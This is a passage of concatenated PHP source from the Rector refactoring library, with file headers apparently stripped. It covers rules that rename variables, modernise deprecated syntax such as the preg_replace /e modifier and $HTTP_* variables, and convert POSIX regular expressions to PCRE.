RuleDefinition('Renames value variable name in foreach loop to match method type', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { $array = []; foreach ($object->getMethods() as $property) { $array[] = $property; } } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { $array = []; foreach ($object->getMethods() as $method) { $array[] = $method; } } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class, Closure::class, Function_::class]; } /** * @param ClassMethod|Closure|Function_ $node */ public function refactor(Node $node) : ?Node { if ($node->stmts === null) { return null; } $hasRenamed = \false; $this->traverseNodesWithCallable($node->stmts, function (Node $subNode) use($node, &$hasRenamed) : ?int { if ($subNode instanceof Class_ || $subNode instanceof Closure || $subNode instanceof Function_) { return NodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } if (!$subNode instanceof Foreach_) { return null; } $variableAndCallForeach = $this->foreachMatcher->match($subNode, $node); if (!$variableAndCallForeach instanceof VariableAndCallForeach) { return null; } $expectedName = $this->expectedNameResolver->resolveForForeach($variableAndCallForeach); if ($expectedName === null) { return null; } if ($this->isName($variableAndCallForeach->getVariable(), $expectedName)) { return null; } if ($this->shouldSkip($variableAndCallForeach, $expectedName)) { return null; } $hasChanged = $this->variableRenamer->renameVariableInFunctionLike($variableAndCallForeach->getFunctionLike(), $variableAndCallForeach->getVariableName(), $expectedName, null); // use different variable on purpose to avoid variable re-assign back to false // after go to other method if ($hasChanged) { $hasRenamed = \true; } return null; }); if ($hasRenamed) { return $node; } return null; } private function shouldSkip(VariableAndCallForeach $variableAndCallForeach, string $expectedName) : bool { if (\in_array($expectedName, self::UNREADABLE_GENERIC_NAMES, \true)) { return \true; } if ($this->namingConventionAnalyzer->isCallMatchingVariableName($variableAndCallForeach->getCall(), $variableAndCallForeach->getVariableName(), $expectedName)) { return \true; } return $this->breakingVariableRenameGuard->shouldSkipVariable($variableAndCallForeach->getVariableName(), $expectedName, $variableAndCallForeach->getFunctionLike(), $variableAndCallForeach->getVariable()); } } .+)(?Data|Info)$#'; public function __construct(Inflector $inflector) { $this->inflector = $inflector; } public function singularize(string $name) : string { $matches = Strings::match($name, self::DATA_INFO_SUFFIX_REGEX); if ($matches === null) { return $this->inflector->singularize($name); } $singularized = $this->inflector->singularize($matches['prefix']); $uninflectable = $matches['suffix']; return $singularized . $uninflectable; } } nodeTypeResolver = $nodeTypeResolver; $this->dateTimeAtNamingConventionGuard = $dateTimeAtNamingConventionGuard; $this->hasMagicGetSetGuard = $hasMagicGetSetGuard; } public function shouldSkip(PropertyRename $propertyRename) : bool { if (!$propertyRename->isPrivateProperty()) { return \true; } if ($this->nodeTypeResolver->isObjectType($propertyRename->getProperty(), new ObjectType('Ramsey\\Uuid\\UuidInterface'))) { return \true; } if ($this->dateTimeAtNamingConventionGuard->isConflicting($propertyRename)) { return \true; } return $this->hasMagicGetSetGuard->isConflicting($propertyRename); } } name = $name; $this->singularized = $singularized; } public function getName() : string { return $this->name; } public function getSingularized() : string { return $this->singularized; } public function isSingular() : bool { return $this->name === $this->singularized; } } currentName = $currentName; $this->expectedName = $expectedName; $this->variable = $variable; $this->functionLike = $functionLike; } public function getCurrentName() : string { return $this->currentName; } public function getExpectedName() : string { return $this->expectedName; } public function getFunctionLike() : FunctionLike { return $this->functionLike; } public function getVariable() : Variable { return $this->variable; } } property = $property; $this->expectedName = $expectedName; $this->currentName = $currentName; $this->classLike = $classLike; $this->classLikeName = $classLikeName; $this->propertyProperty = $propertyProperty; // name must be valid RectorAssert::propertyName($currentName); RectorAssert::propertyName($expectedName); } public function getProperty() : Property { return $this->property; } public function isPrivateProperty() : bool { return $this->property->isPrivate(); } public function getExpectedName() : string { return $this->expectedName; } public function getCurrentName() : string { return $this->currentName; } public function isAlreadyExpectedName() : bool { return $this->currentName === $this->expectedName; } public function getClassLike() : ClassLike { return $this->classLike; } public function getClassLikeName() : string { return $this->classLikeName; } public function getPropertyProperty() : PropertyProperty { return $this->propertyProperty; } } variable = $variable; $this->expr = $expr; $this->assign = $assign; $this->variableName = $variableName; $this->functionLike = $functionLike; } public function getVariable() : Variable { return $this->variable; } /** * @return \PhpParser\Node\Expr\FuncCall|\PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\StaticCall */ public function getCall() { return $this->expr; } public function getVariableName() : string { return $this->variableName; } /** * @return \PhpParser\Node\Expr\Closure|\PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_ */ public function getFunctionLike() { return $this->functionLike; } public function getAssign() : Assign { return $this->assign; } } variable = $variable; $this->expr = $expr; $this->variableName = $variableName; $this->functionLike = $functionLike; } public function getVariable() : Variable { return $this->variable; } /** * @return \PhpParser\Node\Expr\FuncCall|\PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\StaticCall */ public function getCall() { return $this->expr; } public function getVariableName() : string { return $this->variableName; } /** * @return \PhpParser\Node\Expr\Closure|\PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_ */ public function getFunctionLike() { return $this->functionLike; } } nodeNameResolver = $nodeNameResolver; } public function createFromResolvedExpectedName(FunctionLike $functionLike, Param $param, string $expectedName) : ?ParamRename { if ($param->var instanceof Error) { return null; } $currentName = $this->nodeNameResolver->getName($param->var); if ($currentName === null) { return null; } return new ParamRename($currentName, $expectedName, $param->var, $functionLike); } } nodeNameResolver = $nodeNameResolver; } public function createFromExpectedName(ClassLike $classLike, Property $property, string $expectedName) : ?PropertyRename { $currentName = $this->nodeNameResolver->getName($property); $className = (string) $this->nodeNameResolver->getName($classLike); try { return new PropertyRename($property, $expectedName, $currentName, $classLike, $className, $property->props[0]); } catch (InvalidArgumentException $exception) { } return null; } } simpleCallableNodeTraverser = $simpleCallableNodeTraverser; $this->nodeNameResolver = $nodeNameResolver; $this->varTagValueNodeRenamer = $varTagValueNodeRenamer; $this->phpDocInfoFactory = $phpDocInfoFactory; } public function renameVariableInFunctionLike(FunctionLike $functionLike, string $oldName, string $expectedName, ?Assign $assign = null) : bool { $isRenamingActive = \false; if (!$assign instanceof Assign) { $isRenamingActive = \true; } $hasRenamed = \false; $currentStmt = null; $currentFunctionLike = null; $this->simpleCallableNodeTraverser->traverseNodesWithCallable((array) $functionLike->getStmts(), function (Node $node) use($oldName, $expectedName, $assign, &$isRenamingActive, &$hasRenamed, &$currentStmt, &$currentFunctionLike) { // skip param names if ($node instanceof Param) { return NodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } if ($assign instanceof Assign && $node === $assign) { $isRenamingActive = \true; return null; } if ($node instanceof Stmt) { $currentStmt = $node; } if ($node instanceof FunctionLike) { $currentFunctionLike = $node; } if (!$node instanceof Variable) { return null; } // TODO: Should be implemented in BreakingVariableRenameGuard::shouldSkipParam() if ($this->isParamInParentFunction($node, $currentFunctionLike)) { return null; } if (!$isRenamingActive) { return null; } $variable = $this->renameVariableIfMatchesName($node, $oldName, $expectedName, $currentStmt); if ($variable instanceof Variable) { $hasRenamed = \true; } return $variable; }); return $hasRenamed; } private function isParamInParentFunction(Variable $variable, ?FunctionLike $functionLike) : bool { if (!$functionLike instanceof FunctionLike) { return \false; } $variableName = $this->nodeNameResolver->getName($variable); if ($variableName === null) { return \false; } $scope = $variable->getAttribute(AttributeKey::SCOPE); $functionLikeScope = $functionLike->getAttribute(AttributeKey::SCOPE); if ($scope instanceof MutatingScope && $functionLikeScope instanceof MutatingScope && $scope->equals($functionLikeScope)) { return \false; } foreach ($functionLike->getParams() as $param) { if ($this->nodeNameResolver->isName($param, $variableName)) { return \true; } } return \false; } private function renameVariableIfMatchesName(Variable $variable, string $oldName, string $expectedName, ?Stmt $currentStmt) : ?Variable { if (!$this->nodeNameResolver->isName($variable, $oldName)) { return null; } $variable->name = $expectedName; $variablePhpDocInfo = $this->resolvePhpDocInfo($variable, $currentStmt); $this->varTagValueNodeRenamer->renameAssignVarTagVariableName($variablePhpDocInfo, $oldName, $expectedName); return $variable; } /** * Expression doc block has higher priority */ private function resolvePhpDocInfo(Variable $variable, ?Stmt $currentStmt) : PhpDocInfo { if ($currentStmt instanceof Stmt) { return $this->phpDocInfoFactory->createFromNodeOrEmpty($currentStmt); } return $this->phpDocInfoFactory->createFromNodeOrEmpty($variable); } } visibilityManipulator = $visibilityManipulator; } public function provideMinPhpVersion() : int { return PhpVersionFeature::PROPERTY_MODIFIER; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change property modifier from `var` to `public`', [new CodeSample(<<<'CODE_SAMPLE' final class SomeController { var $name = 'Tom'; } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeController { public $name = 'Tom'; } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Property::class]; } /** * @param Property $node */ public function refactor(Node $node) : ?Node { // explicitly public if ($node->flags !== 0) { return null; } $this->visibilityManipulator->makePublic($node); return $node; } } valueResolver = $valueResolver; } public function provideMinPhpVersion() : int { return PhpVersionFeature::CONTINUE_TO_BREAK; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Use break instead of continue in switch statements', [new CodeSample(<<<'CODE_SAMPLE' function some_run($value) { switch ($value) { case 1: echo 'Hi'; continue; case 2: echo 'Hello'; break; } } CODE_SAMPLE , <<<'CODE_SAMPLE' function some_run($value) { switch ($value) { case 1: echo 'Hi'; break; case 2: echo 'Hello'; break; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Switch_::class]; } /** * @param Switch_ $node */ public function refactor(Node $node) : ?Switch_ { $this->hasChanged = \false; foreach ($node->cases as $case) { $this->processContinueStatement($case); } if (!$this->hasChanged) { return null; } return $node; } /** * @param \PhpParser\Node\Stmt|\Rector\Contract\PhpParser\Node\StmtsAwareInterface $stmt */ private function processContinueStatement($stmt) : void { $this->traverseNodesWithCallable($stmt, function (Node $subNode) { if ($subNode instanceof Class_ || $subNode instanceof Function_ || $subNode instanceof Closure) { return NodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } // continue is belong to loop if ($subNode instanceof Foreach_ || $subNode instanceof While_ || $subNode instanceof Do_ || $subNode instanceof For_) { return NodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } if (!$subNode instanceof Continue_) { return null; } if (!$subNode->num instanceof Expr) { $this->hasChanged = \true; return new Break_(); } if ($subNode->num instanceof LNumber) { $continueNumber = $this->valueResolver->getValue($subNode->num); if ($continueNumber <= 1) { $this->hasChanged = \true; return new Break_(); } } elseif ($subNode->num instanceof Variable) { $processVariableNum = $this->processVariableNum($subNode, $subNode->num); if ($processVariableNum instanceof Break_) { $this->hasChanged = \true; return $processVariableNum; } } return null; }); } /** * @return \PhpParser\Node\Stmt\Continue_|\PhpParser\Node\Stmt\Break_ */ private function processVariableNum(Continue_ $continue, Variable $numVariable) { $staticType = $this->getType($numVariable); if (!$staticType instanceof ConstantType) { return $continue; } if (!$staticType instanceof ConstantIntegerType) { return $continue; } if ($staticType->getValue() > 1) { return $continue; } return new Break_(); } } > */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { if (!$this->isName($node, 'dirname')) { return null; } if ($node->isFirstClassCallable()) { return null; } if (\count($node->args) !== 1) { return null; } if (!isset($node->getArgs()[0])) { return null; } $firstArg = $node->getArgs()[0]; if (!$firstArg->value instanceof File) { return null; } return new Dir(); } public function provideMinPhpVersion() : int { return PhpVersionFeature::DIR_CONSTANT; } } > */ public function getNodeTypes() : array { return [Ternary::class]; } /** * @param Ternary $node */ public function refactor(Node $node) : ?Node { if (!$this->nodeComparator->areNodesEqual($node->cond, $node->if)) { return null; } $node->setAttribute(AttributeKey::ORIGINAL_NODE, null); $node->if = null; return $node; } public function provideMinPhpVersion() : int { return PhpVersionFeature::ELVIS_OPERATOR; } } */ private const VARIABLE_RENAME_MAP = ['HTTP_SERVER_VARS' => '_SERVER', 'HTTP_GET_VARS' => '_GET', 'HTTP_POST_VARS' => '_POST', 'HTTP_POST_FILES' => '_FILES', 'HTTP_SESSION_VARS' => '_SESSION', 'HTTP_ENV_VARS' => '_ENV', 'HTTP_COOKIE_VARS' => '_COOKIE']; public function provideMinPhpVersion() : int { return PhpVersionFeature::SERVER_VAR; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Rename old $HTTP_* variable names to new replacements', [new CodeSample('$serverVars = $HTTP_SERVER_VARS;', '$serverVars = $_SERVER;')]); } /** * @return array> */ public function getNodeTypes() : array { return [Variable::class]; } /** * @param Variable $node */ public function refactor(Node $node) : ?Node { foreach (self::VARIABLE_RENAME_MAP as $oldName => $newName) { if (!$this->isName($node, $oldName)) { continue; } $node->name = $newName; return $node; } return null; } } > */ public function getNodeTypes() : array { return [Array_::class]; } /** * @param Array_ $node */ public function refactor(Node $node) : ?Node { // no kind attribute yet, it means just created // no need to reprint, it already will be short array by default if (!$node->hasAttribute(AttributeKey::KIND)) { return null; } if ($node->getAttribute(AttributeKey::KIND) === Array_::KIND_SHORT) { return null; } $node->setAttribute(AttributeKey::ORIGINAL_NODE, null); $node->setAttribute(AttributeKey::KIND, Array_::KIND_SHORT); return $node; } } valueResolver = $valueResolver; } public function provideMinPhpVersion() : int { return PhpVersionFeature::NO_ZERO_BREAK; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Remove 0 from break and continue', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run($random) { continue 0; break 0; $five = 5; continue $five; break $random; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run($random) { continue; break; $five = 5; continue 5; break; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Break_::class, Continue_::class]; } /** * @param Break_|Continue_ $node */ public function refactor(Node $node) : ?Node { if (!$node->num instanceof Expr) { return null; } if ($node->num instanceof LNumber) { $number = $this->valueResolver->getValue($node->num); if ($number > 1) { return null; } if ($number === 0) { $node->num = null; return $node; } return null; } if ($node->num instanceof Variable) { return $this->processVariableNum($node, $node->num); } return null; } /** * @param \PhpParser\Node\Stmt\Break_|\PhpParser\Node\Stmt\Continue_ $stmt */ private function processVariableNum($stmt, Variable $numVariable) : ?Node { $staticType = $this->getType($numVariable); if ($staticType instanceof ConstantType) { if ($staticType instanceof ConstantIntegerType) { if ($staticType->getValue() === 0) { $stmt->num = null; return $stmt; } if ($staticType->getValue() > 0) { $stmt->num = new LNumber($staticType->getValue()); return $stmt; } } return $stmt; } // remove variable $stmt->num = null; return null; } } > */ public function getNodeTypes() : array { return [FuncCall::class, MethodCall::class, StaticCall::class]; } /** * @param FuncCall|MethodCall|StaticCall $node * @return \PhpParser\Node\Expr\FuncCall|\PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\StaticCall|null */ public function refactor(Node $node) { $hasChanged = \false; foreach ($node->args as $nodeArg) { if (!$nodeArg instanceof Arg) { continue; } if (!$nodeArg->byRef) { continue; } $nodeArg->byRef = \false; $hasChanged = \true; } if ($hasChanged) { return $node; } return null; } } > */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Class_ { if (!$node->isFinal()) { return null; } $hasChanged = \false; $this->traverseNodesWithCallable($node, function (Node $node) use(&$hasChanged) : ?ClassConstFetch { if (!$node instanceof ClassConstFetch) { return null; } if (!$this->isName($node->class, ObjectReference::STATIC)) { return null; } if (!$this->isName($node->name, 'class')) { return null; } $hasChanged = \true; return $this->nodeFactory->createSelfFetchConstant('class'); }); if ($hasChanged) { return $node; } return null; } public function provideMinPhpVersion() : int { return PhpVersionFeature::CLASSNAME_CONSTANT; } } > */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ClassConstFetch { return $this->nodeFactory->createSelfFetchConstant('class'); } public function provideMinPhpVersion() : int { return PhpVersionFeature::CLASSNAME_CONSTANT; } } classModifierChecker = $classModifierChecker; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change get_called_class() to self::class on final class', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { public function callOnMe() { var_dump(get_called_class()); } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { public function callOnMe() { var_dump(self::class); } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { if (!$this->isName($node, 'get_called_class')) { return null; } $scope = $node->getAttribute(AttributeKey::SCOPE); if (!$scope instanceof Scope) { return null; } if (!$scope->isInClass()) { return null; } if ($this->classModifierChecker->isInsideFinalClass($node)) { return $this->nodeFactory->createClassConstFetch(ObjectReference::SELF, 'class'); } if ($scope->isInAnonymousFunction()) { return $this->nodeFactory->createClassConstFetch(ObjectReference::SELF, 'class'); } return null; } public function provideMinPhpVersion() : int { return PhpVersionFeature::CLASSNAME_CONSTANT; } } > */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { if (!$this->isName($node, 'get_called_class')) { return null; } if (!$scope->isInClass()) { return null; } $classReflection = $scope->getClassReflection(); if ($classReflection->isAnonymous()) { return null; } if (!$classReflection->isFinal()) { return $this->nodeFactory->createClassConstFetch(ObjectReference::STATIC, 'class'); } return null; } public function provideMinPhpVersion() : int { return PhpVersionFeature::CLASSNAME_CONSTANT; } } anonymousFunctionFactory = $anonymousFunctionFactory; $this->regexMatcher = $regexMatcher; } public function provideMinPhpVersion() : int { return PhpVersionFeature::PREG_REPLACE_CALLBACK_E_MODIFIER; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('The /e modifier is no longer supported, use preg_replace_callback instead', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { $comment = preg_replace('~\b(\w)(\w+)~e', '"$1".strtolower("$2")', $comment); } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { $comment = preg_replace_callback('~\b(\w)(\w+)~', function ($matches) { return($matches[1].strtolower($matches[2])); }, $comment); } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { if (!$this->isName($node, 'preg_replace')) { return null; } if ($node->isFirstClassCallable()) { return null; } if (\count($node->getArgs()) < 2) { return null; } $firstArgument = $node->getArgs()[0]; $firstArgumentValue = $firstArgument->value; $patternWithoutEExpr = $this->regexMatcher->resolvePatternExpressionWithoutEIfFound($firstArgumentValue); if (!$patternWithoutEExpr instanceof Expr) { return null; } $secondArgument = $node->getArgs()[1]; $anonymousFunction = $this->createAnonymousFunction($secondArgument); if (!$anonymousFunction instanceof Closure) { return null; } $node->name = new Name('preg_replace_callback'); $firstArgument->value = $patternWithoutEExpr; $secondArgument->value = $anonymousFunction; return $node; } private function createAnonymousFunction(Arg $arg) : ?Closure { return $this->anonymousFunctionFactory->createAnonymousFunctionFromExpr($arg->value); } } reflectionProvider = $reflectionProvider; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Replace string class names by ::class constant', [new ConfiguredCodeSample(<<<'CODE_SAMPLE' class AnotherClass { } class SomeClass { public function run() { return 'AnotherClass'; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class AnotherClass { } class SomeClass { public function run() { return \AnotherClass::class; } } CODE_SAMPLE , ['ClassName', 'AnotherClassName', self::SHOULD_KEEP_PRE_SLASH => \false])]); } /** * @return array> */ public function getNodeTypes() : array { return [String_::class, FuncCall::class, ClassConst::class]; } /** * @param String_|FuncCall|ClassConst $node * @return \PhpParser\Node\Expr\BinaryOp\Concat|\PhpParser\Node\Expr\ClassConstFetch|null|int */ public function refactor(Node $node) { // allow class strings to be part of class const arrays, as probably on purpose if ($node instanceof ClassConst) { $this->decorateClassConst($node); return null; } // keep allowed string as condition if ($node instanceof FuncCall) { if ($this->isName($node, 'is_a')) { return NodeTraverser::DONT_TRAVERSE_CHILDREN; } return null; } if ($node->getAttribute(self::IS_UNDER_CLASS_CONST) === \true) { return null; } $classLikeName = $node->value; // remove leading slash $classLikeName = \ltrim($classLikeName, '\\'); if ($classLikeName === '') { return null; } if ($this->shouldSkip($classLikeName)) { return null; } $fullyQualified = new FullyQualified($classLikeName); if ($this->shouldKeepPreslash && $classLikeName !== $node->value) { $preSlashCount = \strlen($node->value) - \strlen($classLikeName); $preSlash = \str_repeat('\\', $preSlashCount); $string = new String_($preSlash); return new Concat($string, new ClassConstFetch($fullyQualified, 'class')); } return new ClassConstFetch($fullyQualified, 'class'); } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { if (isset($configuration[self::SHOULD_KEEP_PRE_SLASH]) && \is_bool($configuration[self::SHOULD_KEEP_PRE_SLASH])) { $this->shouldKeepPreslash = $configuration[self::SHOULD_KEEP_PRE_SLASH]; unset($configuration[self::SHOULD_KEEP_PRE_SLASH]); } Assert::allString($configuration); $this->classesToSkip = $configuration; } public function provideMinPhpVersion() : int { return PhpVersionFeature::CLASSNAME_CONSTANT; } private function shouldSkip(string $classLikeName) : bool { // skip short class names, mostly invalid use of strings if (\strpos($classLikeName, '\\') === \false) { return \true; } // possibly string if (\ctype_lower($classLikeName[0])) { return \true; } if (!$this->reflectionProvider->hasClass($classLikeName)) { return \true; } foreach ($this->classesToSkip as $classToSkip) { if (\strpos($classToSkip, '*') !== \false) { if (\fnmatch($classToSkip, $classLikeName, \FNM_NOESCAPE)) { return \true; } continue; } if ($this->nodeNameResolver->isStringName($classLikeName, $classToSkip)) { return \true; } } return \false; } private function decorateClassConst(ClassConst $classConst) : void { $this->traverseNodesWithCallable($classConst->consts, static function (Node $subNode) { if ($subNode instanceof String_) { $subNode->setAttribute(self::IS_UNDER_CLASS_CONST, \true); } return null; }); } } \\w+)$#'; /** * @var string[] * @see https://www.php.net/manual/en/reference.pcre.pattern.modifiers.php */ private const ALL_MODIFIERS_VALUES = ['i', 'm', 's', 'x', 'e', 'A', 'D', 'S', 'U', 'X', 'J', 'u']; /** * @return \PhpParser\Node\Expr\BinaryOp\Concat|\PhpParser\Node\Scalar\String_|null */ public function resolvePatternExpressionWithoutEIfFound(Expr $expr) { if ($expr instanceof String_) { $pattern = $expr->value; $delimiter = $pattern[0]; switch ($delimiter) { case '(': $delimiter = ')'; break; case '{': $delimiter = '}'; break; case '[': $delimiter = ']'; break; case '<': $delimiter = '>'; break; default: $delimiter = $delimiter; break; } /** @var string $modifiers */ $modifiers = $this->resolveModifiers((string) Strings::after($pattern, $delimiter, -1)); if (\strpos($modifiers, 'e') === \false) { return null; } $expr->value = $this->createPatternWithoutE($pattern, $delimiter, $modifiers); return $expr; } if ($expr instanceof Concat) { return $this->matchConcat($expr); } return null; } private function resolveModifiers(string $modifiersCandidate) : string { $modifiers = ''; for ($modifierIndex = 0; $modifierIndex < \strlen($modifiersCandidate); ++$modifierIndex) { if (!\in_array($modifiersCandidate[$modifierIndex], self::ALL_MODIFIERS_VALUES, \true)) { $modifiers = ''; continue; } $modifiers .= $modifiersCandidate[$modifierIndex]; } return $modifiers; } private function createPatternWithoutE(string $pattern, string $delimiter, string $modifiers) : string { $modifiersWithoutE = \str_replace('e', '', $modifiers); return Strings::before($pattern, $delimiter, -1) . $delimiter . $modifiersWithoutE; } private function matchConcat(Concat $concat) : ?Concat { // cause parse error if (!$concat->left instanceof Concat) { return null; } $lastItem = $concat->right; if (!$lastItem instanceof String_) { return null; } $matches = Strings::match($lastItem->value, self::LETTER_SUFFIX_REGEX); if (!isset($matches['modifiers'])) { return null; } if (\strpos((string) $matches['modifiers'], 'e') === \false) { return null; } // replace last "e" in the code $lastItem->value = Strings::replace($lastItem->value, self::LAST_E_REGEX, '$1$2'); return $concat; } } > */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { if (!$this->isName($node, 'pow')) { return null; } if ($node->isFirstClassCallable()) { return null; } $firstExpr = $node->getArgs()[0]->value; $secondExpr = $node->getArgs()[1]->value; return new Pow($firstExpr, $secondExpr); } public function provideMinPhpVersion() : int { return PhpVersionFeature::EXP_OPERATOR; } } */ private const CHARACTER_CLASS_MAP = [ ':alnum:' => '[:alnum:]', ':alpha:' => '[:alpha:]', ':blank:' => '[:blank:]', ':cntrl:' => '[:cntrl:]', ':digit:' => '\\d', ':graph:' => '[:graph:]', ':lower:' => '[:lower:]', ':print:' => '[:print:]', ':punct:' => '[:punct:]', // should include VT ':space:' => '013\\s', ':upper:' => '[:upper:]', ':xdigit:' => '[:xdigit:]', ]; /** * @var string * @see https://regex101.com/r/htpXFg/1 */ private const BOUND_REGEX = '/^(?<' . self::MINIMAL_NUMBER_PART . '>\\d|[1-9]\\d|1\\d\\d| 2[0-4]\\d|25[0-5]) (?,(?<' . self::MAXIMAL_NUMBER_PART . '>\\d|[1-9]\\d|1\\d\\d| 2[0-4]\\d|25[0-5])?)?$/x'; /** * @var string */ private const MINIMAL_NUMBER_PART = 'minimal_number'; /** * @var string */ private const MAXIMAL_NUMBER_PART = 'maximal_number'; /** * @var array */ private $icache = []; /** * @var array */ private $cache = []; /** * Change this via services configuratoin in rector.php if you need it * Single type is chosen to prevent every regular with different delimiter. */ public function __construct(string $pcreDelimiter = '#') { $this->pcreDelimiter = $pcreDelimiter; } // converts the ERE $s into the PCRE $r. triggers error on any invalid input. public function transform(string $content, bool $ignorecase) : string { if ($ignorecase) { if (isset($this->icache[$content])) { return $this->icache[$content]; } } elseif (isset($this->cache[$content])) { return $this->cache[$content]; } [$r, $i] = $this->_ere2pcre($content, 0); if ($i !== \strlen($content)) { throw new InvalidEregException('unescaped metacharacter ")"'); } if ($ignorecase) { return $this->icache[$content] = $this->pcreDelimiter . $r . $this->pcreDelimiter . 'mi'; } return $this->cache[$content] = $this->pcreDelimiter . $r . $this->pcreDelimiter . 'm'; } /** * Recursively converts ERE into PCRE, starting at the position $i. * * @return float[]|int[]|string[] */ private function _ere2pcre(string $content, int $i) : array { $r = ['']; $rr = 0; $l = \strlen($content); $normalizeUnprintableChar = \false; while ($i < $l) { // atom $char = $content[$i]; if ($char === '(') { $i = (int) $i; $i = $this->processBracket($content, $i, $l, $r, $rr); } elseif ($char === '[') { ++$i; $cls = ''; if ($i < $l && $content[$i] === '^') { $cls .= '^'; ++$i; } if ($i >= $l) { throw new InvalidEregException('"[" does not have a matching "]"'); } $start = \true; $i = (int) $i; [$cls, $i] = $this->processSquareBracket($content, $i, $l, $cls, $start); if ($i >= $l) { throw new InvalidEregException('"[" does not have a matching "]"'); } $r[$rr] .= '[' . $cls . ']'; } elseif ($char === ')') { break; } elseif ($char === '*' || $char === '+' || $char === '?') { throw new InvalidEregException('unescaped metacharacter "' . $char . '"'); } elseif ($char === '{') { if ($i + 1 < $l && \strpos('0123456789', $content[$i + 1]) !== \false) { $r[$rr] .= '\\{'; } else { throw new InvalidEregException('unescaped metacharacter "' . $char . '"'); } } elseif ($char === '.') { $r[$rr] .= $char; } elseif ($char === '^' || $char === '$') { $r[$rr] .= $char; ++$i; continue; } elseif ($char === '|') { if ($r[$rr] === '') { $normalizeUnprintableChar = \true; } $r[] = ''; ++$rr; ++$i; continue; } elseif ($char === '\\') { if (++$i >= $l) { throw new InvalidEregException('an invalid escape sequence at the end'); } $r[$rr] .= $this->_ere2pcre_escape($content[$i]); } else { // including ] and } which are allowed as a literal character $r[$rr] .= $this->_ere2pcre_escape($char); } ++$i; if ($i >= $l) { break; } // piece after the atom (only ONE of them is possible) $char = $content[$i]; if ($char === '*' || $char === '+' || $char === '?') { $r[$rr] .= $char; ++$i; } elseif ($char === '{') { $i = (int) $i; $i = $this->processCurlyBracket($content, $i, $r, $rr); } } if ($r[$rr] === '') { throw new InvalidEregException('empty regular expression or branch'); } return [$this->normalize(\implode('|', $r), $normalizeUnprintableChar), $i]; } private function normalize(string $content, bool $normalizeUnprintableChar) : string { if ($normalizeUnprintableChar) { $content = \str_replace("\f", '\\\\f', $content); } return \str_replace($this->pcreDelimiter, '\\' . $this->pcreDelimiter, $content); } /** * @param mixed[] $r */ private function processBracket(string $content, int $i, int $l, array &$r, int $rr) : int { // special case if ($i + 1 < $l && $content[$i + 1] === ')') { $r[$rr] .= '()'; ++$i; } else { $position = $i + 1; [$t, $ii] = $this->_ere2pcre($content, $position); if ($ii >= $l || $content[$ii] !== ')') { throw new InvalidEregException('"(" does not have a matching ")"'); } $r[$rr] .= '(' . $t . ')'; $i = $ii; } // retype $i = (int) $i; return $i; } /** * @return float[]|int[]|string[] */ private function processSquareBracket(string $s, int $i, int $l, string $cls, bool $start) : array { do { if ($s[$i] === '[' && $i + 1 < $l && \strpos('.=:', $s[$i + 1]) !== \false) { /** @var string $cls */ [$cls, $i] = $this->processCharacterClass($s, $i, $cls); } else { $a = $s[$i]; ++$i; if ($a === '-' && !$start && !($i < $l && $s[$i] === ']')) { throw new InvalidEregException('"-" is invalid for the start character in the brackets'); } if ($i < $l && $s[$i] === '-') { $b = $s[++$i]; if ($b === ']') { $cls .= $this->_ere2pcre_escape($a) . '\\-'; break; } elseif (\ord($a) > \ord($b)) { $errorMessage = \sprintf('an invalid character range %d-%d"', (int) $a, (int) $b); throw new InvalidEregException($errorMessage); } $cls .= $this->_ere2pcre_escape($a) . '-' . $this->_ere2pcre_escape($b); ++$i; } else { $cls .= $this->_ere2pcre_escape($a); } } $start = \false; } while ($i < $l && $s[$i] !== ']'); return [$cls, $i]; } private function _ere2pcre_escape(string $content) : string { if ($content === "\x00") { throw new InvalidEregException('a literal null byte in the regex'); } if (\strpos('\\^$.[]|()?*+{}-/', $content) !== \false) { return '\\' . $content; } return $content; } /** * @param mixed[] $r */ private function processCurlyBracket(string $s, int $i, array &$r, int $rr) : int { $ii 